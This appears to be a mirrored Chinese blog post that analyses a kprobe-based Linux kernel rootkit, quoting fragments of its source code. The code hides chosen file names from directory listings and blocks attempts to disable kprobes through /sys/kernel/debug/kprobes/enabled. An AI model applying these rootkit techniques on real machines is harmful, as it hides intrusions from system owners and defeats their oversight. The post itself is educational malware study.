zoukankan      html  css  js  c++  java
  • linux kprobe rootkit学习

    介绍

    《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码

    kprobe

    kprobe的介绍可以看下面这几篇文章

    介绍:https://www.cnblogs.com/honpey/p/4575928.html

    原理:https://www.cnblogs.com/honpey/p/4575902.html

    用法:https://blog.csdn.net/luckyapple1028/article/details/52972315

    rootkit

    用来隐藏进程,文件等信息的恶意软件

    关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html

    使用kprobe来写rootkit

    作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit

    这里分析一下这个项目的源码

    这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头

    char *hidden_files[] = 
    {
    #define HIDDEN_FILES_MAX 3
            "test1",
            "test2",
            "test3"
    };

    在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置

     //n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数
    filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
    filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

    然后就向这两个函数的开头和结尾注册了jprobe和retprobe

    //向sys_write和filldir64注入jprobe和retprobe
    register_kretprobe(&filldir64_kp);
    register_kretprobe(&syswrite_kp);
    
    register_jprobe(&filldir64_jp);
    register_jprobe(&syswrite_jp);

    同时还会去找另外3个函数的地址,get_task_comn是获得

    _sys_close = (void *)n_kallsyms_lookup_name("sys_close");
    _sys_open = (void *)n_kallsyms_lookup_name("sys_open");
    _get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

    然后有4个kprobe结构,包含着我们的实现代码

    static struct jprobe syswrite_jp =
    {
        .entry = (kprobe_opcode_t *)j_sys_write
    };
    
    static struct jprobe filldir64_jp =
    {
        .entry = (kprobe_opcode_t *)j_filldir64
    };
    
    static struct kretprobe filldir64_kp =
    {
        .handler = filldir64_ret_handler,
        .maxactive = NR_CPUS
    };
    
    static struct kretprobe syswrite_kp =
    {
        .handler = sys_write_ret_handler,
        .maxactive = NR_CPUS
    };

    先看filldir64的两个函数

    j_filldir64是jprobe的函数,在filldir64之前执行,
    //遍历隐藏文件列表,查看是不是和隐藏文件同名
    for (i = 0; i < HIDDEN_FILES_MAX; i++)
      if (strcmp(hidden_files[i], name) == 0)
        found_hidden_file++;
      if (!found_hidden_file)
        goto end;

    如果有,则记录在全局变量中

            //全局指针,如果有,则记录下这么目录,
            g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
            g_dentry.bypass++; // note that we want to bypass viewing this file

    在返回的时候,如果发现是需要隐藏的目录,则直接清除掉

    static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
    {
            char *ptr, null = 0;
            /* Someone is looking at one of our hidden files */
            if (g_dentry.bypass)
            {
                    /* Lets nullify the filename so it simply is invisible */
                    ptr = (char *)g_dentry.d_name_ptr;
                    copy_to_user((char *)ptr, &null, sizeof(char));
            }
    }

    在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能

    可以通过get_task_comn来获取进程的可执行文件名字

        _get_task_comm(comm, current);
        printk("comm: %s
    ", comm);
            if (strcmp(comm, "ls"))    
                    goto do_inode_check;
        else    
            /* check to see if this is an ls stat complaint, or ls -l weirdness */
            /* There are two separate calls to sys_write hence two strstr checks */
            if (strstr(s, "cannot access") || strstr(s, "ls:"))  
            {
                    printk("Going to redirect
    ");
                    goto redirect;  
            }

    然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

           //先得到file结构,然后得到dentry,最后再得到inode结构
            file = fget(fd);
            if (!file)
                    goto out;
            dentry = dget(file->f_path.dentry);
            if (!dentry)
                    goto out;
            ino = dentry->d_inode->i_ino;
            dput(dentry);
            fput(file);
        /* If someone tries to disable kprobes or tries to see our probes */
        /* in /sys/kernel/debug/kprobes, it aint happening */
            //enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
            if (ino == enabled_ino)
        {
            printk("ino: %u
    ", ino);    
            goto redirect;
        }
        else
            goto out;

    最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样

            //KERNEL_DS范围很大,到0xffffffffffffffff
            mm_segment_t o_fs = get_fs();
            set_fs(KERNEL_DS);
    
            _sys_close(fd);
            fd = _sys_open(devnull, O_RDWR, 0);
            
            set_fs(o_fs);
            global_fd = fd;

    关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html

    在write写结束的位置,再关闭NULL文件就可以了。

  • 相关阅读:
    sizeof和strlen的区别
    备注
    将一个正整数分解质因数
    malloc和new有什么区别
    用C来实现内存池
    句柄和指针的区别和联系是什么?
    c/c++ 宏中"#"和"##"的用法
    手机上网的原理
    数据类型转换(转自CSDN)
    vc debug和Release的切换
  • 原文地址:https://www.cnblogs.com/likaiming/p/11091139.html
Copyright © 2011-2022 走看看